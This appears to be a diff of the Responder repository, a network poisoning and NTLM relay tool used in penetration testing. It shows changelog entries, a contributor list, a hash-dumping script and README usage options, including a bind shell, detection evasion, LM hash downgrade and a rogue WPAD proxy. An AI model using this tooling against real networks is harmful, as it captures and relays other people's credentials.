- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx).
## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11
<small>[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1)</small>
## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11
<small>[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2)</small>
### Added
- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx).
- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx).
### Removed
- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx).
## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09
<small>[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1)</small>
### Added
- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx).
- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie).
- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger).
- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert).
- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver).
- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx).
### Fixed
- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie).
- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger).
- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS).
- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx).
- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx).
- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx).
- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx).
- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz).
- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn).
### Changed
- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight).
- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx).
- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut).
- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut).
### Removed
- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie).
## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11
<small>[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0)</small>
### Added
- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx).
- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by jrmdev).
### Fixed
- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx).
- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r).
- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r).
- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev).
- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot).
### Changed
- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r).
## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06
<small>[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4)</small>
### Added
- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx).
## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27
<small>[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3)</small>
### Added
- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx).
- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx).
## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26
<small>[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2)</small>
### Added
- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx).
### Fixed
- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx).
## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16
<small>[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0)</small>
### Fixed
- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx).
## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28
<small>[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9)</small>
### Fixed
- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx).
### Removed
- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx).
## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22
<small>[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8)</small>
### Added
- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx).
## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16
<small>[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7)</small>
### Added
- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx).
- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx).
## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01
<small>[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6)</small>
### Fixed
- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx).
## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22
<small>[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5)</small>
### Added
- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx).
## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22
<small>[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4)</small>
### Added
- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx).
## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21
<small>[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3)</small>
### Fixed
- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx).
## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06
<small>[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2)</small>
### Added
- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx).
## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30
<small>[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1)</small>
### Added
- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx).
- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx).
- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx).
- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx).
- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx).
- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx).
- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx).
- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx).
- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx).
- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx).
- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx).
- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx).
- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx).
- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx).
- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx).
- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx).
- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx).
- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx).
- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx).
- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx).
- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx).
- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx).
- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx).
- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx).
- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx).
- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx).
### Fixed
- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx).
- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx).
- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx).
- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx).
- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx).
### Changed
- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx).
- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx).
- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni).
### Removed
- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx).

View file

@ -1,76 +0,0 @@
Commits | user
15 @jrmdev
7 @nobbd
6 @ValdikSS
6 @also-here
5 @HexPandaa
5 @exploide
5 @jvoisin
4 @Clément Notin
4 @Shutdown
4 @Yannick Méheut
3 @Hank Leininger
3 @brightio
3 @byt3bl33d3r
3 @myst404
3 @skelsec
2 @Alexandre ZANNI
2 @Crypt0-M3lon
2 @Laban Sköllermark
2 @Matthew Daley
2 @Pixis
2 @Rob Fuller
2 @ThePirateWhoSmellsOfSunflowers
2 @Vincent Yiu
2 @requin
1 @Andrii Nechytailov
1 @Antonio Herraiz
1 @Chris Maddalena
1 @Euan
1 @Garret Picchioni
1 @Gifts
1 @Gustaf Blomqvist
1 @Hubert Seiwert
1 @IMcPwn
1 @Jared Haight
1 @Jim Shaver
1 @Khiem Doan
1 @Leon Jacobs
1 @Lionel PRAT
1 @Markus
1 @MatToufoutu
1 @Matt
1 @Matt Andreko
1 @Matt Kelly
1 @Nikos Vassakis
1 @OJ
1 @Paul A
1 @Randy Ramos
1 @SAERXCIT
1 @Sagar-Jangam
1 @Sans23
1 @Sophie Brun
1 @Stephen Shkardoon
1 @Syntricks
1 @Timon Hackenjos
1 @Tom Aviv
1 @Ziga P
1 @cweedon
1 @deltronzero
1 @f3rn0s
1 @jackassplus
1 @jb
1 @kevintellier
1 @kitchung
1 @klemou
1 @lanjelot
1 @nickyb
1 @nodauf
1 @nop5L3D
1 @pixis
1 @ravenium
1 @soa
1 @steven
1 @thejosko
1 @trustedsec

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
@ -28,20 +28,14 @@ def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = "" Output = ""
for row in res.fetchall(): for row in res.fetchall():
if "$" in row[0]: Output += '{0}'.format(row[0])+'\n'
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output return Output
def GetResponderCompleteNTLMv1Hash(cursor): def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = "" Output = ""
for row in res.fetchall(): for row in res.fetchall():
if "$" in row[0]: Output += '{0}'.format(row[0])+'\n'
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output return Output
cursor = DbConnect() cursor = DbConnect()

125
README.md
View file

@ -1,6 +1,6 @@
# Responder/MultiRelay # # Responder/MultiRelay #
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay. LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
## Intro ## ## Intro ##
Responder is an LLMNR, NBT-NS and MDNS poisoner. Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
## Features ## ## Features ##
- Dual IPv6/IPv4 stack.
- Built-in SMB Auth server. - Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default. Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server. - Built-in MSSQL Auth server.
This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019. In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server. - Built-in HTTP Auth server.
This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari. In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim. Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
- Built-in LDAP Auth server. - Built-in LDAP Auth server.
This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
- Built-in DCE-RPC Auth server. - Built-in DCE-RPC Auth server.
This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019. In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
- Built-in FTP, POP3, IMAP, SMTP Auth servers. - Built-in FTP, POP3, IMAP, SMTP Auth servers.
@ -56,6 +56,10 @@ This module will capture all HTTP requests from anyone launching Internet Explor
This module allows to find the PDC in stealth mode. This module allows to find the PDC in stealth mode.
- Fingerprinting
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
- Icmp Redirect - Icmp Redirect
python tools/Icmp-Redirect.py python tools/Icmp-Redirect.py
@ -81,7 +85,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v). Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will log all its activity to Responder-Session.log - Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyzer-Session.log - Analyze mode will be logged to Analyze-Session.log
- Poisoning will be logged to Poisoners-Session.log - Poisoning will be logged to Poisoners-Session.log
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
@ -121,64 +125,47 @@ Running the tool:
Typical Usage Example: Typical Usage Example:
./Responder.py -I eth0 -Pv ./Responder.py -I eth0 -rPv
Options: Options:
--version show program's version number and exit --version show program's version number and exit.
-h, --help show this help message and exit -h, --help show this help message and exit.
-A, --analyze Analyze mode. This option allows you to see NBT-NS, -A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding. BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0 -I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a Network interface to use.
wildcard for all interfaces -i 10.0.0.21, --ip=10.0.0.21
-i 10.0.0.21, --ip=10.0.0.21 Local IP to use (only for OSX)
Local IP to use (only for OSX) -e 10.0.0.22, --externalip=10.0.0.22
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed Poison all requests with another IP address than
Poison all requests with another IPv6 address than Responder's one.
Responder's one. -b, --basic Return a Basic HTTP authentication. Default: NTLM
-e 10.0.0.22, --externalip=10.0.0.22 -r, --wredir Enable answers for netbios wredir suffix queries.
Poison all requests with another IP address than Answering to wredir will likely break stuff on the
Responder's one. network. Default: Off
-b, --basic Return a Basic HTTP authentication. Default: NTLM -d, --NBTNSdomain Enable answers for netbios domain suffix queries.
-d, --DHCP Enable answers for DHCP broadcast requests. This Answering to domain suffixes will likely break stuff
option will inject a WPAD server in the DHCP response. on the network. Default: Off
Default: False -f, --fingerprint This option allows you to fingerprint a host that
-D, --DHCP-DNS This option will inject a DNS server in the DHCP issued an NBT-NS or LLMNR query.
response, otherwise a WPAD server will be added. -w, --wpad Start the WPAD rogue proxy server. Default value is
Default: False Off
-w, --wpad Start the WPAD rogue proxy server. Default value is -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
False Upstream HTTP proxy used by the rogue WPAD Proxy for
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY outgoing requests (format: host:port)
Upstream HTTP proxy used by the rogue WPAD Proxy for -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
outgoing requests (format: host:port) retrieval. This may cause a login prompt. Default:
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file Off
retrieval. This may cause a login prompt. Default: -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
False authentication for the proxy. WPAD doesn't need to
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) be ON. This option is highly effective when combined
authentication for the proxy. WPAD doesn't need to be with -r. Default: Off
ON. This option is highly effective. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and
-Q, --quiet Tell Responder to be quiet, disables a bunch of earlier. Default: Off
printing from the poisoners. Default: False --disable-ess Force ESS downgrade. Default: Off
--lm Force LM hashing downgrade for Windows XP/2003 and -v, --verbose Increase verbosity.
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
Value in hex (30 seconds = 1e). use '-t random' for
random TTL
-N ANSWERNAME, --AnswerName=ANSWERNAME
Specifies the canonical name returned by the LLMNR
poisoner in tits Answer section. By default, the
answer's canonical name is the same as the query.
Changing this value is mainly useful when attempting
to perform Kebreros relaying over HTTP.
-E, --ErrorCode Changes the error code returned by the SMB server to
STATUS_LOGON_FAILURE. By default, the status is
STATUS_ACCESS_DENIED. Changing this value permits to
obtain WebDAV authentications from the poisoned
machines where the WebClient service is running.
## Donation ## ## Donation ##
@ -186,10 +173,9 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH" "GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
Paypal: Or BTC address:
https://paypal.me/PythonResponder
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
## Acknowledgments ## ## Acknowledgments ##
@ -213,6 +199,11 @@ We would like to thanks those major sponsors:
Thank you. Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ## ## Copyright ##

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
@ -31,10 +31,6 @@ def DbConnect():
cursor = sqlite3.connect("./Responder.db") cursor = sqlite3.connect("./Responder.db")
return cursor return cursor
def FingerDbConnect():
